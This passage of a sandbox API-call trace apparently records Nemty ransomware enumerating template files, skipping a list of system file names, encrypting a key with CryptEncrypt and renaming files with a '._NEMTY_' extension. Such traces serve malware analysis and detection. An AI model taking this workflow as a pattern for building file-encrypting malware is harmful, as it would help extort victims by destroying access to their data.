nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f942b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0101.359] CloseHandle (hObject=0xffffffff) returned 0 [0101.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0101.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0101.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0101.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0101.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0101.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0101.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp._nemty_kgobjgd_")) returned 0 [0101.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0101.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0101.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0101.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0101.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0101.360] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2=".") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="..") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="...") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="windows") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="$RECYCLE.BIN") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="rsa") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="NTDETECT.COM") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="ntldr") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="MSDOS.SYS") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="IO.SYS") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="boot.ini") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="boot.ini") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="ntuser.dat") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="desktop.ini") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="CONFIG.SYS") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="RECYCLER") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="BOOTSECT.BAK") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="bootmgr") returned 1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="programdata") returned -1 [0101.360] lstrcmpiW (lpString1="Graph.jtp", lpString2="appdata") returned 1 [0101.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Graph.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Graph.jtp", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Graph.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.360] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Graph.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Graph.jtp", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Graph.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Graph.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Graph.jtp", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Graph.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Graph.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0101.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Graph.jtp", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Graph.jtp", lpUsedDefaultChar=0x0) returned 9 [0101.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0101.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0101.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0101.361] Sleep (dwMilliseconds=0x5) [0101.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf010eb70, dwHighDateTime=0x1d561e7)) [0101.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf010eb70, dwHighDateTime=0x1d561e7)) [0101.367] GetLastError () returned 0x5 [0101.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0101.367] GetLastError () returned 0x5 [0101.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0101.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.367] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0101.367] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0101.367] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0101.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f942b0 [0101.367] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f942b0, pcchString=0x653ef9c | out: pszString="GDkMbuLxx7MF8zgRdJanXtGxWmSd6gP9fRYqHFmWPmukLCIxhmiQF13AnmJTPk9F\r\nFfoTOTrxd71W+ZNN62IArIVacCm9FpdfsvHz/DFZJHertbHegbs5W49fu/qMrXUQ\r\n0i2hDThXJGpvRzRXM4mb9/Ts5BDNOi11GIPMKCD/Z3VacZVABWDr9+YFqGxGhkjo\r\npO/OHyDWDuMMCeFAXUxnRNUkDistpsoFl54/Y7Zeq8lkkF2t/elV8b+O5RSwgLas\r\n00jJqATZqBrf11OaTNeT7x59PkpvwOBEUNf/l86BCHLVe7a/ZestR8Gl13yTHEbq\r\nbPkc0c73+w/cai49cG1TsQ==\r\n", pcchString=0x653ef9c) returned 1 [0101.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0101.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0101.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f942b0 [0101.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0101.367] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.368] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0101.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0101.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, 